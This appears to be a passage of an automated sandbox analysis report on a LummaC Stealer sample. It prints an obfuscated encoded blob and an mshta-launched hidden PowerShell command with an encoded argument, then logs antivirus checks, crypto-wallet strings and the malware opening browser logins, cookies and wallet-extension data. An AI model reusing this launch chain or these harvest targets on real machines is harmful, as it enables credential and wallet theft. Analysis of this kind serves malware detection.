byadgaygbuaeqatgbnafkayqbaahoacgbhadiamwa3ahmabgb6afoatgbiae4avqbzaegaygb0ahgavab1adaaagaxafkasqbmagiawgbpahiacwa5agwasgbxae4aywb5afyaeabragkamgbuaegavab4aeianqbaadcasgbbae0adwb5adkaqgbsaduauqbjafcatgbbagsaega0agqauqbiahaadwblaggamwb3afeawgbgafiamabkaesarwbvaeoabgagad0aiaakagyaqqbmahmazqanaaoajaa1adaacwbeadqatgbzadmabwbnadaacgbqaeuamwa0afcasgbvaeqaqga1ahqaeabnaesatgbkadiacabwag0aoabvadmavgbeadyazwbuahqabgb1afuayqbcaggaugblaekauga2aemawqbnahqabqa5agmaqqbqafyaeqblagwaswbeadiasqbdaeeazaa2agqanabfahmauqbfaeuanwbbadaaegbpahcawqa5agsacgawafmatga0aggamqb2ahkaeabrafkauqbpaecamabtagmatgb3afeatabyae4auqb0afaamgbtaemacwb2ahqadwbragmarqaxagkanabqafiatqbyaecarwbnagyaeqaxadmaegbvagyanqbkadmazgb6ae8abqbnae0atwblafoaqgblaesazabhafmamabvafgaoqbwafgawabuadmadabjadaatwbuaemauwbkaeoabaa4afoadabyagkadgbtahuaqga0afeamaa0aemavwbrafqavaa1adyaqqbqafiamgbnahcavwbvafuatgbaag4aywbkaeoabgbzaekatga4aeoauqbpadcaswboahea
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -enc jabpaguaqqa2afoarwa5adcawgbeagianwbsaggaaqbsag0arga0adkawgbwadiaqgbuag4adqbdahyayga2afgaoqbyafcazaaxaeiangbfagianwbtadkaeaa5ahkabwb2afqazabzagsanwb4afuaswboagwatqawaekawabpae8anqbzagyavabuahmazgboaemaqgbcadeavqbgafqadgbaadgazab4agsaugbdagsamgbcagcaygbgaheavwbkaeyazwbkaduaaqbaadmavgbqafyanqb2aemamgbeadyawga3adiangblahqamwbmadmaaabeaeiadqbuafiarqb4agyaoqawagyazgbiafcacgbsaduavqa4afyavqbuafuaaabpafcauabzaguaeqbsadgacqb6ahqauwa0afiauqbhaeoarabxadiacwbmagkacqb2agcababtaecacqbjadeanqb2ae4aswbwaemawab5afeazgbtahyacqbpag4ayqawaeqavgbragiayqazaeiacqbuadiasabzadkamablae8adqazafganabhaemangbsahoaygb1afcazgbzaemaqqbhafgasabvafaatqbnag8aqwbzafiargbvahkaagb1agyadwbuagwaygb2ag0anwbdahcamwbjaggauqbpag8acwb1ae0ayqb0agmanqbdahcaawbzagmazabaageaywbkadcazwbjafaababxahqabwbtagsadabeadkangblae0aywbuafgaaab5afoanqb5ahkarabfahiaoqbqafeaagbxaeoaaga4ae4azqa0agyaeabhagkaegboahkargbbaeuazqbnafoavwawadmauwbaafoazwb2afeawqbqag0acgb0afuavwbmadcaawa3afkazabwadqatabsae4abwb4adeaqwa4afeaygbmae8awqbvafiadgbxahiaeabtaesaqqbaadmaaqbpafoacgbnahgatabkagcaeabzagiayqbiaecamqbqagsamgb3ahcavgbqaeuayqb5ae4ababcadqaeqazahkawqayaguatwbmaeuarabsaeiaswbxafuatgbmagqabgbsafiatgazaeuasaaxageaaabiafcanqbqaeoaeqbyaewawgbsafkabwbjahmazgbgagcaqwbmag4aaqa1agcaawbhadeaoqb2aheaqwbtaewarqbpahuarqbmagyabqb4ahmargblag8anwbmagkaywbkaguaoabbaduanwbwagoaeqbtaeyaywbvagwasga5ahiazaboae8auabkagyavgbnadkaegbvaeeawqbxahuadabaadyacqbxaeqawgbxahiamgb0aeeaegbuaeoavqbhaegayqbkagqavwbaahkawqbmag0aegbkaeoanaa1adyawgbyagcacabzaeqacwbdahyasqb3ahmaywbgaeeabqa2afyasabhafqaaaa3ahuatabaag8abgbjagwaqgbuafkabqbsafeacabyafkabgbeafuaqwbiag8abqbwafiatabiahqauwa5ahcabgbmafyasgbrae4asqbkagcabqbzaecacab5ae8argbpafoangbmafaarqbnaeiauwa5ag8azwbiaegasabyahcazgbxafmaugbiadyatgbiageaoabmaeyaawbsagcarwb5aguadgawahgacqaxadeavqbpaggavga0aggauga2afgamqbnadmaoqbrafmanwbbafqawqbeaegaaabladmadabiadyaqgbkahiavabdaegaywa2ae4amgbhagqaawbjahuaeaboahqazqbvafiazqa2ageazgb6aduavqbeag4aygbnae4auqbladkacgbcaesamgblahuazga3ahiacgbiafganqb6aeqacabyadgaygbuaeqatgbnafkayqbaahoacgbhadiamwa3ahmabgb6afoatgbiae4avqbzaegaygb0ahgavab1adaaagaxafkasqbmagiawgbpahiacwa5agwasgbxae4aywb5afyaeabragkamgbuaegavab4aeianqbaadcasgbbae0adwb5adkaqgbsaduauqbjafcatgbbagsaega0agqauqbiahaadwblaggamwb3afeawgbgafiamabkaesarwbvaeoabgagad0aiaakagyaqqbmahmazqanaaoajaa1adaacwbeadqatgbzadmabwbnadaacgbqaeuamwa0afcasgbvaeqaqga1ahqaeabnaesatgbkadiacabwag0aoabvadmavgbeadyazwbuahqabgb1afuayqbcaggaugblaekauga2aemawqbnahqabqa5agmaqqbqafyaeqblagwaswbeadiasqbdaeeazaa2agqanabfahmauqbfaeuanwbbadaaegbpahcawqa5agsacgawafmatga0aggamqb2ahkaeabrafkauqbpaecamabtagmatgb3afeatabyae4auqb0afaamgbtaemacwb2ahqadwbragmarqaxagkanabqafiatqbyaecarwbnagyaeqaxadmaegbvagyanqbkadmazgb6ae8abqbnae0atwblafoaqgblaesazabhafmamabvafgaoqbwafgawabuadmadabjadaatwbuaemauwbkaeoabaa4afoadabyagkadgbtahuaqga0afeamaa0aemavwbrafqavaa1adyaqqbqafiamgbnahcavwbvafuatgbaag4aywbkaeoabgbzaekatga4aeoauqbpadcaswboahea Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\mshta.exe Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
AV process strings found (often used to terminate AV products)
Source: powershell.exe, 0000000A.00000002.2609507490.00000000029C3000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6096, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Found many strings related to Crypto-Wallets (likely being stolen)
Source: powershell.exe, 0000000A.00000002.2611019468.00000000029DB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Wallets/Electrum-LTC
Source: powershell.exe, 0000000A.00000002.2611019468.00000000029DB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Wallets/ElectronCash
Source: powershell.exe, 0000000A.00000002.2611019468.00000000029DB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: window-state.json
Source: powershell.exe, 0000000A.00000002.2611019468.00000000029DB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Wallets/Ethereum
Source: powershell.exe, 00000002.00000002.2173129858.0000000007F00000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: sqlcolumnencryptionkeystoreprovider
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm Jump to behavior
